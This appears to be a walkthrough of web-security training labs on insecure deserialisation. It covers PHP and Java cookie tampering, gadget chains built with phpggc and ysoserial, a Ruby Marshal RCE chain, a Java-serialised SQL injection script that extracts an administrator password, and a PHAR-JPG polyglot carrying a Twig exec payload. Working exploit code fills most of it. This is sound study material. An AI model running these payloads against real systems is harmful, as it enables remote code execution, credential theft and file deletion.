This lab uses deserialisation in the cookie. To solve the lab, delete morale.txt from /home/carlos. I was also given a backup account of gregg:rosebud, probably because I might have to delete an account.
There's a bit more functionality within this lab:
I uploaded a sample PNG, and then deleted my account. THis was the cookie sent in the POST request to /my-account/delete:
The avatar_link was a directory on the website. I can change this to /home/carlos/morale.txt and delete the backup account.
I intercepted the response and changed the cookie using this script:
<?php
class User {
public $username;
public $access_token;
public $avatar_link;
public function __construct($username, $access_token, $avatar_link) {
$this->username = $username;
$this->access_token = $access_token;
$this->avatar_link = $avatar_link;
}
}
$wiener = new User("gregg", 'b29u5o8d88pylon2d8p4umjk4dqdtnza', '/home/carlos/morale.txt');
$serial = serialize($wiener);
echo $serial . "\n";
echo "Exploit cookie: " . base64_encode($serial);
?>
This solved the lab.
Lab 4: Arbitrary Object Injection
I have to inject an object to this. To solve the lab, delete /home/carlos/morale.txt. In the page source, there was a mention of some source code:
The hint was to append a ~ to read editor-generated backup files, so visiting /lib/CustomTemplate.php~ gave me source code:
?php
class CustomTemplate {
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
For some reason, it calls unlink in __destruct(), meaning the PHP script automatically calls unlink. the only important variable is the lock_file_path one. Using this script can exploit this:
<?php
class CustomTemplate {
public $template_file_path;
public $lock_file_path;
public function __construct($template_file_path, $lock_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $lock_file_path;
}
}
$wiener = new CustomTemplate("/whatever", '/home/carlos/morale.txt');
$serial = serialize($wiener);
echo $serial . "\n";
echo "Exploit cookie: " . base64_encode($serial);
?>
Replace the output as the cookie, and send a request to the website to solve the lab.
Lab 5: Java Deserialisation with Apache Commons
Java deserialisation means ysoserial is required. To solve the lab, delete morale.txt.
The cookie for this lab is no longer PHP based.
This is a CommonsCollections4 payload. First, generate the payload:
This lab uses a signed cookie, and a common PHP framework. There is no source code, but there are pre-built gadget chains. To solve the lab, delete /home/carlos/morale.txt.
This page is the pphinfo.php page, and there's a SECRET_KEY variable:
Sending a modified cookie results in this error:
So this uses Symfony and I have a secret key. This means I probably have to use phpggc to generate my payload since gadget chains have to be exploited.
Using symfony/rce4 gives me the same version that the website is running:
$ phpggc -i symfony/rce4
Name : Symfony/RCE4
Version : 3.4.0-34, 4.2.0-11, 4.3.0-7
Type : RCE (Function call)
Vector : __destruct
Informations :
Execute $function with $parameter (CVE-2019-18889)
./phpggc Symfony/RCE4 <function> <parameter>
Using this, I can generate a base64 encoded payload.
This lab uses the Ruby on Rails framework, and there are documented exploits to enable RCE via a gadget chain. To solve the lab, delete /home/carlos/morale.txt.
Sending a malformed cookie results in a Ruby error:
When searching for exploits, I found this:
Here's the edited final script:
require "base64"
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)
URL encode this and set it as the cookie. Sending a request would solve the lab.
Lab 8: Custom Java Gadget Chain
This lab requires me to exploit insecure deserialisation to obtain the administrator's password, then delete carlos.
There's a comment in the page source:
Viewing /backup shows two files:
Here's the source for AccessTokenUser.java:
package data.session.token;
import java.io.Serializable;
public class AccessTokenUser implements Serializable
{
private final String username;
private final String accessToken;
public AccessTokenUser(String username, String accessToken)
{
this.username = username;
this.accessToken = accessToken;
}
public String getUsername()
{
return username;
}
public String getAccessToken()
{
return accessToken;
}
}
And here's the other source code:
package data.productcatalog;
import common.db.JdbcConnectionBuilder;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;
private final String id;
private transient Product product;
public ProductTemplate(String id)
{
this.id = id;
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();
JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
"org.postgresql.Driver",
"postgresql",
"localhost",
5432,
"postgres",
"postgres",
"password"
).withAutoCommit();
try
{
Connection connect = connectionBuilder.connect(30);
String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
Statement statement = connect.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
if (!resultSet.next())
{
return;
}
product = Product.from(resultSet);
}
catch (SQLException e)
{
throw new IOException(e);
}
}
public String getId()
{
return id;
}
public Product getProduct()
{
return product;
}
}
PortSwigger has provided a simple Java program for serialising objects on Github and replit.
Code Analysis -> Create Object
Starting with ProductTemplate, the class has a string variable of id. This id variable is passed to a SQL query:
String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
The id parameter is not sanitised, and I can try to create a Java program to set it to ' to escape the query. Firstly, I need to create a serialised object for ProductTemplate.
Here are the variables and constructor for ProductTemplate, which need to be copied over.
static final long serialVersionUID = 1L;
private final String id;
private transient Product product;
public ProductTemplate(String id)
{
this.id = id;
}
Note that it uses a Product variable. Since I do not actually care about the product variable, this class can be empty:
package data.productcatalog;
public class Product {
}
Note that the original code packages it as data.productcatalog, so create a package like so:
Afterwards, use package.productcatalog to package it as per the source code.
Here's the code I used:
import data.productcatalog.ProductTemplate;
class Main {
public static void main(String[] args) throws Exception {
ProductTemplate originalObject = new ProductTemplate("'");
String serializedObject = serialize(originalObject);
System.out.println("Serialized object: " + serializedObject);
ProductTemplate deserializedObject = deserialize(serializedObject);
System.out.println("Deserialized data ID: " + deserializedObject.getId());
}
// CLASSES USED
// Product class
package data.productcatalog;
public class Product {
}
// ProductTemplate class
package data.productcatalog;
import java.io.Serializable;
public class ProductTemplate implements Serializable {
static final long serialVersionUID = 1L;
private final String id;
private transient Product product;
public ProductTemplate(String id)
{
this.id = id;
}
public String getId()
{
return id;
}
public Product getProduct()
{
return product;
}
}
This program outputs this:
Serialized object: rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAASc=
Deserialized data ID: '
The above can be sent into the website, and I will receive an SQL error:
This means we have effectively injected parameters into the SQL query, and confirmed the SQL Injection vulnerability.
SQL Injection via Deserialisation
Now, I can proceed to enumerate the database. Since I want to extract data, UNION injection must be used.
For this, I modified the Java code to take user input, and then built the .jar:
ProductTemplate originalObject = new ProductTemplate(args[0]);
Now, I can try to automate this testing. I know that the database uses PostgreSQL from the source code, so I can begin to find the number of columns.
Using a payload of ' UNION SELECT NULL-- resulted in this:
From this, I can begin to brute force the number of columns. I wasn't sure how big it was going to be, so I scripted the process:
import requests
import subprocess
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
HOST = '0ae700990366a1ee80b5ee5f005f00ac'
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
null_payload = ',NULL'
while True:
payload = f'"\' UNION SELECT NULL{null_payload}--"'
command = f'java -jar Test.jar {payload}'
result = subprocess.run(command, shell=True, capture_output=True).stdout.decode('utf-8')
match = re.search(r'Serialized object: ([a-zA-Z0-9]+)', result)
if not match:
print('[-] Error serializing')
exit()
serialised_cookie = match[1]
cookies = {
'session': serialised_cookie
}
r = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
if 'UNION query must have the same number of columns' not in r.text:
print(f'[+] Payload: {payload}')
exit()
null_payload += ',NULL'
This returned this payload:
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
So there are 8 columns. Now, I can check which column returns data. Typing 1 in random columns results in this error:
I was lazy to automate this process, so I tested each payload while printing out the error using some regex:
r = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
error = re.search(r'java.io.IOException: ([a-zA-Z.: ])+', r.text)
if not error:
print('[-] weird error')
exit()
print(f'Error: {error[0]}')
When changing the 4th, 5th and 6th column to 1, it did not return this error. Instead, it returned this:
Using this, I can try to list the contents of the database using these columns, since they seem to return some values.
Since error messages are being shown, and the 4th column do not expect string types, I can try using CAST to convert it to an integer.
' UNION SELECT NULL,NULL,NULL,CAST(table_name as integer),NULL,NULL,NULL,NULL FROM information_schema.tables--
This returns an error with the users table:
I updated the code to print the result:
error = re.search(r'ERROR:[a-zA-Z.: ]+"(.+)"', r.text)
if not error:
print('[-] weird error')
exit()
print(f'Result: {error[1]}')
After some tweaking, I found the columns to be username and password. I can then retrieve the password of the administrator. Here's the full script:
import requests
import subprocess
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
HOST = '0ae700990366a1ee80b5ee5f005f00ac'
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
payload = f'"\' UNION SELECT NULL,NULL,NULL,CAST(password as integer),NULL,NULL,NULL,NULL FROM users WHERE username=\'administrator\'--"'
command = f'java -jar Test.jar {payload}'
result = subprocess.run(command, shell=True, capture_output=True).stdout.decode('utf-8')
match = re.search(r'Serialized object: ([a-zA-Z0-9]+)', result)
if not match:
print('[-] Error serializing')
exit()
serialised_cookie = match[1]
cookies = {
'session': serialised_cookie
}
r = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
error = re.search(r'ERROR:[a-zA-Z.: ]+"(.+)"', r.text)
if not error:
print('[-] weird error')
exit()
print(f'Result: {error[1]}')
Log in and delete carlos. Fun lab to script!
Lab 9: Custom PHP Gadget Chain
To solve this lab, delete morale.txt. The page has some source code, which can be read via using a ~ character.
Here's the code:
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?>
End Goal
End goal is to call call_user_func to delete the file, since this function executes a function to it as arguments. This is within the DefaultMap function, and I can pass in anything as the $callback value, which are the function names like passthru or system.
The function is called within __get(), which is invoked upon trying to retrieve an inaccessible property. The code below shows an example of how this can be used to execute commands:
$inject = new DefaultMap('system');
$command = 'id';
$inject->$command;
Calling call_user_func
The __wakeup() function will call build_product(), and it leads to $this->desc = $desc->$default_desc_type within the Product class. This is suitable because it is called upon deserialization, meaning that when I pass in a cookie, it starts there.
The assignment of $this->desc = $desc->$default_desc_type can be used to trigger the __get() magic method. This is because it attempts to assign $this->desc to an attribute that it does not have. I jsut have to pass in the right stuff to call call_user_func with the right values.
Putting it Together
Here's the exploit explained:
First, create a new CustomTemplate class.
Within the CustomTemplate class, change the $desc variable to contain a DefaultMap('system'); object. This would construct a DefaultMap function with the system function within the call_user_func function.
Set $default_desc_type to the string containing the commands to be executed. This then calls build_product() to create a Product object with $default_desc_type and $desc.
Within Product, it tries to get an attribute of $desc that it does not have. This action invokes the __get() method within DefaultMap, since $desc is a DefaultMap object after all.
The values passed to __get() would be the name of the property it attempted to retrieve. Fpr example, if it attempted to retrieve $desc->'random, the $name parameter contains random.
The machine will then execute call_user_func('system', 'random'). Afterwards, I just have to replace the random string with a command I want executed.
Print out this object and base64 encode it.
Here's the full exploit script to create the object on my machine:
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc, $default_desc_type) {
$this->desc = new DefaultMap($desc);
$this->default_desc_type = $default_desc_type;
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
}
$object = new CustomTemplate('system', 'rm /home/carlos/morale.txt');
$serial = serialize($object);
echo $serial . "\n";
echo (urlencode(base64_encode($serial))) . "\n";
?>
To solve this lab, exploit phar deserialisation to delete morale.txt.
Logging in provides a upload avatar feature:
Uploading files does a POST request to /my-account/avatar. Afterwards, reloading the page sends a GET request to /cgi-bin/avatar.php?avatar=wiener to load the avatar.
I visited cgi-bin, and found some files:
Here is the CustomTemplate code:
<?php
class CustomTemplate {
private $template_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
}
private function isTemplateLocked() {
return file_exists($this->lockFilePath());
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lockFilePath(), "") === false) {
throw new Exception("Could not write to " . $this->lockFilePath());
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
@unlink($this->lockFilePath());
}
private function lockFilePath()
{
return 'templates/' . $this->template_file_path . '.lock';
}
}
?>
And here's blog.php:
<?php
require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');
class Blog {
public $user;
public $desc;
private $twig;
public function __construct($user, $desc) {
$this->user = $user;
$this->desc = $desc;
}
public function __toString() {
return $this->twig->render('index', ['user' => $this->user]);
}
public function __wakeup() {
$loader = new Twig_Loader_Array([
'index' => $this->desc,
]);
$this->twig = new Twig_Environment($loader);
}
public function __sleep() {
return ["user", "desc"];
}
}
?>
Source Code Analysis
Firstly, I noticed that blog.php imports a twig, which means that SSTI might be possible due depending on what I inject.
The Blog object basically passes $desc to a Twig_Environment, hence $desc is the injection point for SSTI.
Next, for phar:// deserialisation, it can occur for PHP functions that don't eval, like file_get_contents or file_exists. Within the CustomTemplate function, there is a file_exists function used, taking lockFilePath() as the parameter
private function isTemplateLocked() {
return file_exists($this->lockFilePath());
}
private function lockFilePath()
{
return 'templates/' . $this->template_file_path . '.lock';
}
Gotta manipulate template_file_path with whatever payload I decide to use.
Here's the exploit path:
Set $desc within Blog as a SSTI payload which removes the file. Note that it still requires a $user parameter.
Pass this object into CustomTemplate, with $template_file_path set to the Blog object. This will pass the payload into the functions required.
Using this payload, create a PHAR-JPG payload (the website only accepts JPG files).
Access the payload using the phar:// wrapper to execute it.
Exploit
I used this repo to generate the payload:
Within phar_jpg_polyglot.php, replace the exploit class with the following:
class CustomTemplate {}
class Blog {}
$object = new CustomTemplate;
$blog = new Blog;
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$blog->user = 'user';
$object->template_file_path = $blog;
I don't actually care about how CustomTemplate and Blog are formed, I just need the serialised object, thus they are empty classes. Afterwards, run this to generate the JPG file:
php -c php.ini phar_jpg_polyglot.php
Then, upload out.jpg:
Then, visit /cgi-bin/avatar.php?avatar=phar://wiener to solve the lab.